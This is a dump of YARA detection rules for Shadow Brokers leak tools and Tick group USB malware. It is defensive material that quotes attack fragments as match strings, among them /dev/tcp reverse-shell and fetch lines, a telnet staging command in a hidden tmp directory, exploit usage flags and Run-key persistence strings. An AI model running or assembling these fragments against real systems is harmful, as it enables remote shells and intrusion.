deardaniel/secdata-raw huggingface dataset:
YARA Detection Rule: FVEY_ShadowBroker_user_tool_shentysdelight
Repository: Neo23x0/signature-base
Detects: Auto-generated rule - file user.tool.shentysdelight.COMMON
Author: Florian Roth (Nextron Systems)
Reference: https://bit.no.com:43110/theshadowbrokers.bit/post/message6/

Pattern signatures:
$s1 = "echo -ne \"/var/run/COLFILE\\0\"" fullword ascii

Detection condition:
1 of them

Full rule:
rule FVEY_ShadowBroker_user_tool_shentysdelight {
   meta:
      description = "Auto-generated rule - file user.tool.shentysdelight.COMMON"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
      date = "2016-12-17"
      hash1 = "a564efeaae9c13fe09a27f2d62208a1dec0a19b4a156f5cfa96a0259366b8166"
      id = "b1ca04e5-bac7-5247-b2d4-82c3515c92fc"
   strings:
      $s1 = "echo -ne \"/var/run/COLFILE\\0\"" fullword ascii
   condition:
      1 of them
}
YARA Detection Rule: FVEY_ShadowBroker_user_tool_epichero
Repository: Neo23x0/signature-base
Detects: Auto-generated rule - file user.tool.epichero.COMMON
Author: Florian Roth (Nextron Systems)
Reference: https://bit.no.com:43110/theshadowbrokers.bit/post/message6/

Pattern signatures:
$x2 = "-irtun TARGET_IP ISH_CALLBACK_PORT"
      $x3 = "-O REVERSE_SHELL_CALLBACK_PORT -w HIDDEN_DIR" fullword ascii

Detection condition:
1 of them

Full rule:
rule FVEY_ShadowBroker_user_tool_epichero {
   meta:
      description = "Auto-generated rule - file user.tool.epichero.COMMON"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
      date = "2016-12-17"
      hash1 = "679d194c32cbaead7281df9afd17bca536ee9d28df917b422083ae8ed5b5c484"
      id = "b1ca04e5-bac7-5247-b2d4-82c3515c92fc"
   strings:
      $x2 = "-irtun TARGET_IP ISH_CALLBACK_PORT"
      $x3 = "-O REVERSE_SHELL_CALLBACK_PORT -w HIDDEN_DIR" fullword ascii
    condition:
      1 of them
}
YARA Detection Rule: FVEY_ShadowBroker_user_tool
Repository: Neo23x0/signature-base
Detects: Auto-generated rule - file user.tool.elatedmonkey
Author: Florian Roth (Nextron Systems)
Reference: https://bit.no.com:43110/theshadowbrokers.bit/post/message6/

Pattern signatures:
$x5 = "ELATEDMONKEY will only work of apache executes scripts" fullword ascii

Detection condition:
1 of them

Full rule:
rule FVEY_ShadowBroker_user_tool {
   meta:
      description = "Auto-generated rule - file user.tool.elatedmonkey"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
      date = "2016-12-17"
      hash1 = "98ae935dd9515529a34478cb82644828d94a2d273816d[PII_REDACTED]5454e37cd"
      id = "b1ca04e5-bac7-5247-b2d4-82c3515c92fc"
   strings:
      $x5 = "ELATEDMONKEY will only work of apache executes scripts" fullword ascii
   condition:
      1 of them
}
YARA Detection Rule: FVEY_ShadowBroker_user_tool_dubmoat
Repository: Neo23x0/signature-base
Detects: Auto-generated rule - file user.tool.dubmoat.COMMON
Author: Florian Roth (Nextron Systems)
Reference: https://bit.no.com:43110/theshadowbrokers.bit/post/message6/

Pattern signatures:
$s1 = "### Verify version on target:" fullword ascii
      $s2 = "/current/bin/ExtractData ./utmp > dub.TARGETNAME" fullword ascii

Detection condition:
1 of them

Full rule:
rule FVEY_ShadowBroker_user_tool_dubmoat {
   meta:
      description = "Auto-generated rule - file user.tool.dubmoat.COMMON"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
      date = "2016-12-17"
      hash1 = "bcd4ee336050488f5ffeb850d8eaa11eec34d8ba099b370d94d2c83f08a4d881"
      id = "d6c0a00b-dda9-587f-a867-f3b632edd494"
   strings:
      $s1 = "### Verify version on target:" fullword ascii
      $s2 = "/current/bin/ExtractData ./utmp > dub.TARGETNAME" fullword ascii
   condition:
      1 of them
}
YARA Detection Rule: FVEY_ShadowBroker_strifeworld
Repository: Neo23x0/signature-base
Detects: Auto-generated rule - file strifeworld.1
Author: Florian Roth (Nextron Systems)
Reference: https://bit.no.com:43110/theshadowbrokers.bit/post/message6/

Pattern signatures:
$s4 = "-p -n.\" strifeworld" fullword ascii
      $s5 = "Running STRIFEWORLD not protected" ascii

Detection condition:
1 of them

Full rule:
rule FVEY_ShadowBroker_strifeworld {
   meta:
      description = "Auto-generated rule - file strifeworld.1"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
      date = "2016-12-17"
      hash1 = "222b00235bf143645ad0d55b2b6839febc5b570e3def00b77699915a7c9cb670"
      id = "a15c2034-8394-5e62-a5f0-d1506c19e585"
   strings:
      $s4 = "-p -n.\" strifeworld" fullword ascii
      $s5 = "Running STRIFEWORLD not protected" ascii
   condition:
      1 of them
}
YARA Detection Rule: FVEY_ShadowBroker_user_tool_pork
Repository: Neo23x0/signature-base
Detects: Auto-generated rule - file user.tool.pork.COMMON
Author: Florian Roth (Nextron Systems)
Reference: https://bit.no.com:43110/theshadowbrokers.bit/post/message6/

Pattern signatures:
$x2 = "packrat -z RAT_REMOTE_NAME" fullword ascii
      $s3 = "./client -t TIME_ADJ SPECIAL_SOURCE_PORT 127.0.0.1 TARG_PORT" ascii
      $s4 = "mkdir TEMP_DIR; cd TEMP_DIR; cat < /dev/tcp/REDIR_IP/RED" ascii

Detection condition:
1 of them

Full rule:
rule FVEY_ShadowBroker_user_tool_pork {
   meta:
      description = "Auto-generated rule - file user.tool.pork.COMMON"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
      date = "2016-12-17"
      hash1 = "9c400aab74e75be8770387d35ca219285e2cedc0c7895225bbe567ce9c9dc078"
      id = "ee5f88b1-6e58-5288-8b80-0d3d188e1ac6"
   strings:
      $x2 = "packrat -z RAT_REMOTE_NAME" fullword ascii
      $s3 = "./client -t TIME_ADJ SPECIAL_SOURCE_PORT 127.0.0.1 TARG_PORT" ascii
      $s4 = "mkdir TEMP_DIR; cd TEMP_DIR; cat < /dev/tcp/REDIR_IP/RED" ascii
   condition:
      1 of them
}
YARA Detection Rule: FVEY_ShadowBroker_user_tool_ebbisland
Repository: Neo23x0/signature-base
Detects: Auto-generated rule - file user.tool.ebbisland.COMMON
Author: Florian Roth (Nextron Systems)
Reference: https://bit.no.com:43110/theshadowbrokers.bit/post/message6/

Pattern signatures:
$x1 = "-t 127.0.0.1 -p SERVICE_TCP_PORT -r TARGET_RPC_SERVICE -X"
      $x2 = "-N -A SPECIFIC_SHELLCODE_ADDRESS" fullword ascii

Detection condition:
1 of them

Full rule:
rule FVEY_ShadowBroker_user_tool_ebbisland {
   meta:
      description = "Auto-generated rule - file user.tool.ebbisland.COMMON"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
      date = "2016-12-17"
      hash1 = "390e776ae15fadad2e3825a5e2e06c4f8de6d71813bef42052c7fd[PII_REDACTED]"
      id = "fd312ba2-d590-5007-875c-008553c2b1b9"
   strings:
      $x1 = "-t 127.0.0.1 -p SERVICE_TCP_PORT -r TARGET_RPC_SERVICE -X"
      $x2 = "-N -A SPECIFIC_SHELLCODE_ADDRESS" fullword ascii
   condition:
      1 of them
}
YARA Detection Rule: FVEY_ShadowBroker_user_tool_stoicsurgeon
Repository: Neo23x0/signature-base
Detects: Auto-generated rule - file user.tool.stoicsurgeon.COMMON
Author: Florian Roth (Nextron Systems)
Reference: https://bit.no.com:43110/theshadowbrokers.bit/post/message6/

Pattern signatures:
$x1 = "echo -n TARGET_HOSTNAME  | sed '/\\n/!G;s/\\(.\\)\\(.*\\n\\)/&\\2\\1/;//D;s/.//'" fullword ascii

Detection condition:
1 of them

Full rule:
rule FVEY_ShadowBroker_user_tool_stoicsurgeon {
   meta:
      description = "Auto-generated rule - file user.tool.stoicsurgeon.COMMON"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
      date = "2016-12-17"
      hash1 = "967facb19c9b563eb90d3df6aa89fd7dcfa889b0ba601d3423d9b71b44191f50"
      id = "2ff22b17-4922-54d7-bbd8-a5ff40b6ebe5"
   strings:
      $x1 = "echo -n TARGET_HOSTNAME  | sed '/\\n/!G;s/\\(.\\)\\(.*\\n\\)/&\\2\\1/;//D;s/.//'" fullword ascii
   condition:
      1 of them
}
YARA Detection Rule: FVEY_ShadowBroker_user_tool_elgingamble
Repository: Neo23x0/signature-base
Detects: Auto-generated rule - file user.tool.elgingamble.COMMON
Author: Florian Roth (Nextron Systems)
Reference: https://bit.no.com:43110/theshadowbrokers.bit/post/message6/

Pattern signatures:
$x2 = "### Local exploit for" fullword ascii

Detection condition:
1 of them

Full rule:
rule FVEY_ShadowBroker_user_tool_elgingamble {
   meta:
      description = "Auto-generated rule - file user.tool.elgingamble.COMMON"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
      date = "2016-12-17"
      hash1 = "[PII_REDACTED]ddef4610d63bfa8330cdafcb6524d3d2e7e8e0cb34fde8864c8118"
      id = "344e5d5e-9fd6-5a32-ba98-945f5a35a116"
   strings:
      $x2 = "### Local exploit for" fullword ascii
   condition:
      1 of them
}
YARA Detection Rule: FVEY_ShadowBroker_README_cup
Repository: Neo23x0/signature-base
Detects: Auto-generated rule - file README.cup.NOPEN
Author: Florian Roth (Nextron Systems)
Reference: https://bit.no.com:43110/theshadowbrokers.bit/post/message6/

Pattern signatures:
$s3 = "-F file(s)   Full path to target's \"fuser\" program." fullword ascii
      $s4 = "done after the RAT is killed." fullword ascii

Detection condition:
1 of them

Full rule:
rule FVEY_ShadowBroker_README_cup {
   meta:
      description = "Auto-generated rule - file README.cup.NOPEN"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
      date = "2016-12-17"
      hash1 = "98aaad31663b89120eb781b25d6f061037aecaeb20cf5e32c36c68f34807e271"
      id = "876f3d99-cc6d-568a-a202-1b[PII_REDACTED]"
   strings:
      $s3 = "-F file(s)   Full path to target's \"fuser\" program." fullword ascii
      $s4 = "done after the RAT is killed." fullword ascii
   condition:
      1 of them
}
YARA Detection Rule: FVEY_ShadowBroker_nopen_oneshot
Repository: Neo23x0/signature-base
Detects: Auto-generated rule - file oneshot.example
Author: Florian Roth (Nextron Systems)
Reference: https://bit.no.com:43110/theshadowbrokers.bit/post/message6/

Pattern signatures:
$s1 = "/sbin/sh -c (mkdir /tmp/.X11R6; cd /tmp/.X11R6 && telnet" ascii

Detection condition:
1 of them

Full rule:
rule FVEY_ShadowBroker_nopen_oneshot {
   meta:
      description = "Auto-generated rule - file oneshot.example"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
      date = "2016-12-17"
      hash1 = "a85b260d6a53ceec63ad5f09e1308b158da31062047dc0e4d562d2683a82bf9a"
      id = "6a6b5426-f559-5668-a2ed[PII_REDACTED]02"
   strings:
      $s1 = "/sbin/sh -c (mkdir /tmp/.X11R6; cd /tmp/.X11R6 && telnet" ascii
   condition:
      1 of them
}
YARA Detection Rule: FVEY_ShadowBroker_user_tool_earlyshovel
Repository: Neo23x0/signature-base
Detects: Auto-generated rule - file user.tool.earlyshovel.COMMON
Author: Florian Roth (Nextron Systems)
Reference: https://bit.no.com:43110/theshadowbrokers.bit/post/message6/

Pattern signatures:
$x1 = "--tip 127.0.0.1 --tport 2525 --cip REDIRECTOR_IP --cport RANDOM_PORT" ascii

Detection condition:
1 of them

Full rule:
rule FVEY_ShadowBroker_user_tool_earlyshovel {
   meta:
      description = "Auto-generated rule - file user.tool.earlyshovel.COMMON"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
      date = "2016-12-17"
      hash1 = "504e7a376c21ffbfb375353c5451dc69a35a10d7e2a5d0358f9ce2df34edf256"
      id = "d2640f9f-8934-5095-9c30-f24941685c9e"
   strings:
      $x1 = "--tip 127.0.0.1 --tport 2525 --cip REDIRECTOR_IP --cport RANDOM_PORT" ascii
   condition:
      1 of them
}
YARA Detection Rule: FVEY_ShadowBroker_user_tool_envisioncollision
Repository: Neo23x0/signature-base
Detects: Auto-generated rule - file user.tool.envisioncollision.COMMON
Author: Florian Roth (Nextron Systems)
Reference: https://bit.no.com:43110/theshadowbrokers.bit/post/message6/

Pattern signatures:
$x1 = "-i<IP> -p<port> -U<user> -P<password> -D<directory> -c<commands>" fullword ascii
      $x2 = "sh</dev/tcp/REDIR_IP/SHELL_PORT>&0" fullword ascii
      $x3 = "-n ENVISIONCOLLISION" ascii
      $x4 = "-UADMIN -PPASSWORD -i127.0.0.1 -Dipboard" fullword ascii

Detection condition:
1 of them

Full rule:
rule FVEY_ShadowBroker_user_tool_envisioncollision {
   meta:
      description = "Auto-generated rule - file user.tool.envisioncollision.COMMON"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
      date = "2016-12-17"
      hash1 = "2f04f078a8f0fdfc864d3d2e37d123f55ecc1d5e401a87eccd0c3846770f9e02"
      id = "a738e270-a3ea-5d38-8933-797d1bd9036a"
   strings:
      $x1 = "-i<IP> -p<port> -U<user> -P<password> -D<directory> -c<commands>" fullword ascii
      $x2 = "sh</dev/tcp/REDIR_IP/SHELL_PORT>&0" fullword ascii
      $x3 = "-n ENVISIONCOLLISION" ascii
      $x4 = "-UADMIN -PPASSWORD -i127.0.0.1 -Dipboard" fullword ascii
   condition:
      1 of them
}
YARA Detection Rule: FVEY_ShadowBroker_Gen_Readme1
Repository: Neo23x0/signature-base
Detects: Auto-generated rule
Author: Florian Roth (Nextron Systems)
Reference: https://bit.no.com:43110/theshadowbrokers.bit/post/message6/

Pattern signatures:
$x1 = "ls -latr /tp/med/archive/collect/siemens_msc_isb01/.tmp_ncr/*.MSC | head -10" fullword ascii

Detection condition:
1 of them

Full rule:
rule FVEY_ShadowBroker_Gen_Readme1 {
   meta:
      description = "Auto-generated rule"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
      date = "2016-12-17"
      super_rule = 1
      hash1 = "4b236b066ac7b8386a13270dcb7fdff2dda81365d03f53867eb72e29d5e496de"
      hash2 = "64c24bbf42f15dcac04371aef756feabb7330f436c20f33cb25fbc8d0ff014c7"
      hash3 = "a237a2bd6aec429f9941d6de632aeb9729880aa3d5f6f87cf33a76d6caa30619"
      id = "1f5e3ab1-e0d1-589e-8c18-60c4ad07ee6e"
   strings:
      $x1 = "ls -latr /tp/med/archive/collect/siemens_msc_isb01/.tmp_ncr/*.MSC | head -10" fullword ascii
   condition:
      1 of them
}
YARA Detection Rule: FVEY_ShadowBroker_Gen_Readme2
Repository: Neo23x0/signature-base
Detects: Auto-generated rule - from files user.tool.orleansstride.COMMON, user.tool.curserazor.COMMON
Author: Florian Roth (Nextron Systems)
Reference: https://bit.no.com:43110/theshadowbrokers.bit/post/message6/

Pattern signatures:
$x1 = "#####  Upload the encrypted phone list as awk, modify each parser command to have the" fullword ascii

Detection condition:
1 of them

Full rule:
rule FVEY_ShadowBroker_Gen_Readme2 {
   meta:
      description = "Auto-generated rule - from files user.tool.orleansstride.COMMON, user.tool.curserazor.COMMON"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
      date = "2016-12-17"
      super_rule = 1
      hash1 = "18dfd74c3e0bfb1c21127cf3382ba1d9812efdf3e992bd666d513aaf3519f728"
      hash2 = "f4b728c93dba20a163b59b4790f29aed1078706d2c8b07dc7f4e07a6f3ecbe93"
      id = "5959d881-2989-582c-abe2-48c76ce0e995"
   strings:
      $x1 = "#####  Upload the encrypted phone list as awk, modify each parser command to have the" fullword ascii
   condition:
      1 of them
}
YARA Detection Rule: FVEY_ShadowBroker_Gen_Readme3
Repository: Neo23x0/signature-base
Detects: Auto-generated rule
Author: Florian Roth (Nextron Systems)
Reference: https://bit.no.com:43110/theshadowbrokers.bit/post/message6/

Pattern signatures:
$s3 = ":%s/CRYPTKEY/CRYPTKEY/g" fullword ascii

Detection condition:
1 of them

Full rule:
rule FVEY_ShadowBroker_Gen_Readme3 {
   meta:
      description = "Auto-generated rule"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
      date = "2016-12-17"
      super_rule = 1
      hash1 = "18dfd74c3e0bfb1c21127cf3382ba1d9812efdf3e992bd666d513aaf3519f728"
      hash2 = "4b236b066ac7b8386a13270dcb7fdff2dda81365d03f53867eb72e29d5e496de"
      hash3 = "3fe78949a9f3068db953b475177bcad3c76d16169469afd72791b4312f60cfb3"
      hash4 = "64c24bbf42f15dcac04371aef756feabb7330f436c20f33cb25fbc8d0ff014c7"
      hash5 = "a237a2bd6aec429f9941d6de632aeb9729880aa3d5f6f87cf33a76d6caa30619"
      hash6 = "89748906d1c574a75fe030645c7572d7d4145b143025aa74c9b5e2be69df8773"
      hash7 = "f4b728c93dba20a163b59b4790f29aed1078706d2c8b07dc7f4e07a6f3ecbe93"
      id = "41cfbf66-fb7d-5815-939f-06b23dfae746"
   strings:
      $s3 = ":%s/CRYPTKEY/CRYPTKEY/g" fullword ascii
   condition:
      1 of them
}
YARA Detection Rule: FVEY_ShadowBroker_Gen_Readme4
Repository: Neo23x0/signature-base
Detects: Auto-generated rule - from files violetspirit.README, violetspirit.README
Author: Florian Roth (Nextron Systems)
Reference: https://bit.no.com:43110/theshadowbrokers.bit/post/message6/

Pattern signatures:
$s1 = "[-v rpc version] : default 4 : Solaris 8 and other patched versions use version 5" fullword ascii
      $s5 = "[-n tcp_port]    : default use portmapper to determine" fullword ascii

Detection condition:
1 of them

Full rule:
rule FVEY_ShadowBroker_Gen_Readme4 {
   meta:
      description = "Auto-generated rule - from files violetspirit.README, violetspirit.README"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
      date = "2016-12-17"
      super_rule = 1
      hash1 = "a55fec73595f885e43b27963afb17aee8f8eefe811ca027ef0d7721d073e67ea"
      hash2 = "a55fec73595f885e43b27963afb17aee8f8eefe811ca027ef0d7721d073e67ea"
      id = "9e84e4ab-f74a-59e5-aee2-408a68cd673f"
   strings:
      $s1 = "[-v rpc version] : default 4 : Solaris 8 and other patched versions use version 5" fullword ascii
      $s5 = "[-n tcp_port]    : default use portmapper to determine" fullword ascii
   condition:
      1 of them
}
YARA Detection Rule: APT_Tick_Sysmon_Loader_Jun18
Repository: Neo23x0/signature-base
Detects: Detects Sysmon Loader from Tick group incident - Weaponized USB
Author: Florian Roth (Nextron Systems)
Reference: https://researchcenter.paloaltonetworks.com/2018/06/unit42-tick-group-weaponized-secure-usb-drives-target-air-gapped-critical-systems/

Pattern signatures:
$x1 = "SysMonitor_3A2DCB47" fullword ascii

      $s1 = "msxml.exe" fullword ascii
      $s2 = "wins.log" fullword ascii
      $s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\run" fullword ascii
      $s4 = "%2d-%2d-%2d-%2d" fullword ascii
      $s5 = "%USERPROFILE%" fullword ascii /* Goodware String - occured 22 times */
      $s6 = "Windows NT" fullword ascii /* Goodware String - occured 72 times */
      $s7 = "device monitor" fullword ascii
      $s8 = "\\Accessories" ascii

Detection condition:
uint16(0) == 0x5a4d and filesize < 200KB and (
         pe.imphash() == "c5bb16e79fb500c430edce9481ae5b2b" or
         $x1 or 6 of them
      )

Full rule:
rule APT_Tick_Sysmon_Loader_Jun18 {
   meta:
      description = "Detects Sysmon Loader from Tick group incident - Weaponized USB"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://researchcenter.paloaltonetworks.com/2018/06/unit42-tick-group-weaponized-secure-usb-drives-target-air-gapped-critical-systems/"
      date = "2018-06-23"
      hash1 = "31aea8630d5d2fcbb37a8e72fe4e096d0f2d8f05e03234645c69d7e8b59bb0e8"
      id = "eae013c3-4774-5342-bd1a-5f[PII_REDACTED]"
   strings:
      $x1 = "SysMonitor_3A2DCB47" fullword ascii

      $s1 = "msxml.exe" fullword ascii
      $s2 = "wins.log" fullword ascii
      $s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\run" fullword ascii
      $s4 = "%2d-%2d-%2d-%2d" fullword ascii
      $s5 = "%USERPROFILE%" fullword ascii /* Goodware String - occured 22 times */
      $s6 = "Windows NT" fullword ascii /* Goodware String - occured 72 times */
      $s7 = "device monitor" fullword ascii
      $s8 = "\\Accessories" ascii
   condition:
      uint16(0) == 0x5a4d and filesize < 200KB and (
         pe.imphash() == "c5bb16e79fb500c430edce9481ae5b2b" or
         $x1 or 6 of them
      )
}
YARA Detection Rule: APT_Tick_HomamDownloader_Jun18
Repository: Neo23x0/signature-base
Detects: Detects HomamDownloader from Tick group incident - Weaponized USB
Author: Florian Roth (Nextron Systems)
Reference: https://researchcenter.paloaltonetworks.com/2018/06/unit42-tick-group-weaponized-secure-usb-drives-target-air-gapped-critical-systems/

Pattern signatures:
$s1 = "cmd /c hostname >>" fullword ascii
      $s2 = "Mstray.exe" fullword ascii
      $s3 = "msupdata.exe" fullword ascii
      $s5 = "Windows\\CurrentVersion\\run" fullword ascii
      $s6 = "Content-Type: */*" fullword ascii
      $s11 = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)" fullword ascii /* Goodware String - occured 3 times */

Detection condition:
uint16(0) == 0x5a4d and filesize < 30KB and 3 of them

Full rule:
rule APT_Tick_HomamDownloader_Jun18 {
   meta:
      description = "Detects HomamDownloader from Tick group incident - Weaponized USB"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://researchcenter.paloaltonetworks.com/2018/06/unit42-tick-group-weaponized-secure-usb-drives-target-air-gapped-critical-systems/"
      date = "2018-06-23"
      hash1 = "f817c9826089b49d251b8a09a0e9bf9b4b468c6e2586af60e50afe48602f0bec"
      id = "8ec52cb7-41a4-50a9-9cb1-23bee354680f"
   strings:
      $s1 = "cmd /c hostname >>" fullword ascii
      $s2 = "Mstray.exe" fullword ascii
      $s3 = "msupdata.exe" fullword ascii
      $s5 = "Windows\\CurrentVersion\\run" fullword ascii
      $s6 = "Content-Type: */*" fullword ascii
      $s11 = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)" fullword ascii /* Goodware String - occured 3 times */
   condition:
      uint16(0) == 0x5a4d and filesize < 30KB and 3 of them
}